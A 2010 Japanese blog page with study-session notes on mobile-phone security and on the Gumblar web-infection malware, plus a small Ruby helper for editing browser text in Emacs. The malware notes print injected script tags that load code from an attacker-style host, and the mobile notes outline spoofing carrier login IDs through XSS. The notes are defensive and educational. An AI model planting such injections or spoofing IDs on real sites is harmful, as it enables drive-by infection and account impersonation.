Sunday, February 21, 2010

第3回東北情報セキュリティ勉強会に行ってきました。

2010年2月20日に開催された,第3回東北情報セキュリティ勉強会に行ってきました。主催なさった方,講師の方々,会場を手配くださった岩手県立大学の高田先生,ならびに学生様ありがとうございました。
参加したのはセキュリティトラック系。noteから更に抜粋に加え,自分のと思ったこと書きなぐってみます。

「近年のモバイル端末に関するセキュリティ」

  • 日本の携帯は初めっから安全に振られている。しかし,新しい機能を入れたら,それは大丈夫だろうか。
  • 携帯のブラウザにはCookieの概念がない。個体識別番号 (携帯 UID) + src IP アドレスfilterでセキュリティを確保。更にUAを加えて,携帯電話とPCとの判別をしている。 (自分 個体識別番号が盗まれたとき,engress filterをかましていないISPからUAを偽造してアクセスされたらどうなるのだろうか。まだengress filterをかましていないISPはあるだろう?)
  • (自分 高木浩光@自宅の日記 - 日本のインターネットが終了する日をもう一回理解する必要がある)
  • USER_AGENT変更ツール FireMobileSimulator (Firefox add-on)
  • 携帯JavaScriptとXSSの組み合わせによる「かんたんログイン」なりすましの可能性
    XSSの脆弱性を利用して,攻撃用JavaScriptを読みこませる。XMLHttpRequest.setRequestHeader を用いて他人のUIM,iモードIDを産めこむ。 対策 docomo の proxy server 側 で setRequestHeader を無効にした。
  • 新しい機能を実行したら,パソコン関係ではスルーしてしまう問題は,日本の携帯キャリア・ベンダーは対応が早い。
  • iモード専用サイトのhtmlソースの閲覧方法 DNS rebindingを用い,JavaScriptのクロスドメイン制限を回避。(自分 というか,webサイトでソース見られたらまずい実装するのはどうなのか?。DNSの運用の問題?DNSSECは?)
  • Exploiting Smartphone系,iPhone (携帯電話と違い,比較的自由な開発環境)。開発も環境もオープンなため,様々なリサーチが行われている。
  • ARMのexploit codeのdemo (Thumb命令とARM命令を両立させて 0x00を消去する)。OSでも対策はある。W^X 。書き込み(W)と実行(X)を天分にする仕様
    • 書き込みできるメモリ空間は実行できず,実行できるメモリ空間は書き込みできない
    • OpenBSDが採用,mprotect で切り替え可
  • Application側でport listenして,そのlistenしている applicationにvulnerability があれば,攻撃の対象になる。
  • JailBreak,マジコン,PSPのCF。ハードウェアをハックされてしまうとどうしようもない。ハックされないようなハードウェアの設計?OSの設計?
まとめ。
  • 携帯電話はWeb系のセキュリティが主流
    • 携帯ブラウザのAjax, JavaScript関連
  • martphoneは比較的OSやハードウェアに近い部分のセキュリティがメイン
    • iPhoneのjailbreakなど
jailbreakとかroot奪取とかされないような,ソフトウェア,ハード設計をするのはとても大変。ここが企業の持つノウハウになるのか?体力のある企業にしかできない
SmartphoneにターゲットしたJavaScriptコードはどうなるのか?現状,webkitを使用しているので,様問題があるのならば,pcアプリにも同様の問題があるということ。なので対応は早いのではないのか?

Gumblar.x を除いてみた。 メモのみ

  Googleで検索する。
    対策はひっかかるが。
   - Web誘導感染型 (1段階置いて, phising?Web誘導)
   - FTPアカウントの搾取
   - Webサイトの改竄 ? (盗んだFTPパスワードを取得して,改竄する)
   - SQL injection で改竄されても Gumblar?
   - Phishing なのに Gumblar?

  Gumblarを分類する
   - Gumblar.x
   - *.ru:8080 (GNU GPL)

  Gumblar.x
    GENOウィルス = Gumblar     2009年春ごろ
    Gumblar 亜種 (Gumblar.x)   2009年10月中旬ごろ-

    GENOウィルスの絵 (sourceが難読化されている)
    -> document.write("<script src=attacker's siteURL></script>");
    Gumblar.X
    </head>
      <script src="http://***.php">></script>    (飛び先も正規サイト)
    <body>

    見に行っただけで感染

  Pegel.*
   *.ru:8080 - 2009年12月頃
    難読化されたコード

  Gumblar-x Pegel との比較
  利用される脆弱性  Adobe Reader,Flash MSOfficeWeb, IE  Gumblar-x
                  Adobe Reader, MDAC, SnapShotViewer, JRE Pegel
                  QuickTimer を使うのもある

  感染後の動作  FTPアカウントの摂取,rootkit
              自分自身のupdate Gumblar-x
              Downloader(他のマルウェアを落とす), 偽アンチウィルス,SpamBot Pegel
  国内感染情報  3000以上 (Gumblar-x) 350以上 (Pegel)  (クローラーで見ているので,数値にはあまり意味がないのかもしれない。)
      Pegelは12月終わりごろから出現

  今日の話は Gumblar-x の話

  Attack Flow
     Redirect   <script src="*php"%gt; %gt;- これが正規のホストであるので,この段階での検出はNGの可能性が高い。
     Browser Check (UAを確認,未対応は404を返す初めのころはOpera,Firefox等ははじいていた)
                    wgetやweb emulatrion
    難読化されたJavaScriptをdownload
    アクセスしてきたPCの環境をチェックして,該当するexploitをdownloadする。(Active-Xなど)
       downloaderが落としてきたペイロードを脆弱性があるapplicationが実行して,
       更に次の攻撃先にアクセスする。
    最後に,exeが落ちてきて,実行する。

    PDFのフライトレコード (PDFの暗号化,zlibで暗号化)
    CWS Exploit (FWSをzlibで暗号化したやつ)
      いずれにせよ,コアな部分は http://attackerhost.com/gumblar.php? <- このURLにアクセスさせる。

    EXE <- Kates (Danol) と呼ばれている
      -> DLL を作成
      -> Processにインジェクション
      -> 再起動後,真っ暗な画面になる。

  DEMO 

  レジストリの隠蔽
  感染ファイルの保護
  ツールの妨害
  - regmon.exe
  - filemon.exe
  - gmer.exe (rootkit killer)
  - avz.exe  (rootkit killer)

  Hidden Packet
    C&C との通信
     Xost: www.google.co.jp (グーグル searchを実行した時に大量に振ってくるパケットに偽造して IPSにひっかからないようにしている)
    UPDATE
      (自己消滅するものも?)
    FTP情報の窃盗 (Header S0:S1 に FTPのaccountをのせている)
    Anti Anti-Virus for 
     IET / HTTP/1.1 ? なんで IET (オンラインスキャンも,trial version もdownloadできなくする)
     
  CLEANING DEMO  
    Gumblar対策
  感染予防
   OS/Software Update
   Anti Virus softわれの導入
   ScriptやActive XのOff
    - Adobe製品,Webブラウザ 
   パスワードの管理を徹底する?
    - 保存しない
    - 平文で送らない
    - 定期的に更新する
   仮想化を使う
    - VMware
    - サンドボックス
   あとは運を天に任せる

  感染してしまったら
  - 感染PCの処理
    + ウィルスの駆除
    + OSのリカバリ
  - Webページの修正
  - パスワードの変更
  - Backdoorの削除
  - 謝罪文ページの作成
自分のnote
難読化されたJavaScript (そもそも何でそんなことが置きているのか)
unescape, escape コードを動的に生成する。
自分はunix系サーバーなので,Gumblarなんて関係ないよと思ってはいけない。
侵入されたら,<script src="*php"> >-ー これが正規のホスト が埋めこまれるので,感染の土台となる。 passwordの管理。application作者は,生でpasswordを保存してはいけない。セキュアなpasswordの扱い方を。(core-dumpされても大丈夫なように)。IPAのセキュア・プログラミング講座の附則の事態対策など読んでおくべき。

大変だ…。

Friday, February 12, 2010

ChromeとEmacsを愛するもの達へ 【編集あり】

Chromeもいいけど,TextareaはEmacsで編集したいのでFirefox + Dafizilla ViewSourceWith から抜けだせないあなたへ。

より,Edit with Emacs (Google chrome extensions)をどうぞ。

自分はやっぱりemacsclientを使いたいのと,Ruby on Railsの環境を構築済みなので,monoさんのWEBrickを用いたWebサーバー版のを使わせていただきました。
しかし,

temp << req.body
ではutf-8を上手くあつかえていないので( << が駄目だと思う ),自分のところでは,
temp.puts req.body.toutf8
に手直しして使っています。

自分のところのruby-server.rbはこんな感じです。どうもありがとうございました。

#!/usr/bin/ruby -Ku
require 'webrick'
require 'tempfile'
require 'kconv'

$EDITOR = '/Applications/Emacs.app/Contents/MacOS/bin/emacsclient'
$PORT = 9292

server = WEBrick::HTTPServer.new(:Port => $PORT)

trap('INT') { server.shutdown }

server.mount_proc('/status') do |req, res|
  res.status = 200
end

server.mount_proc('/edit') do |req, res|
  temp = Tempfile.new('editwith_')
  if req.body
    temp.puts req.body.toutf8
  end
  temp.close false
  system $EDITOR, temp.path
  temp.open
  res.body = temp.read.toutf8
  temp.close
  res.status = 200
  res['Content-Type'] = 'text/plain'
  res['Content-Length'] = res.body.size
end

server.start

追記 req.body の nil チェック忘れてました。

  if req.body
    temp.puts req.body.toutf8
  end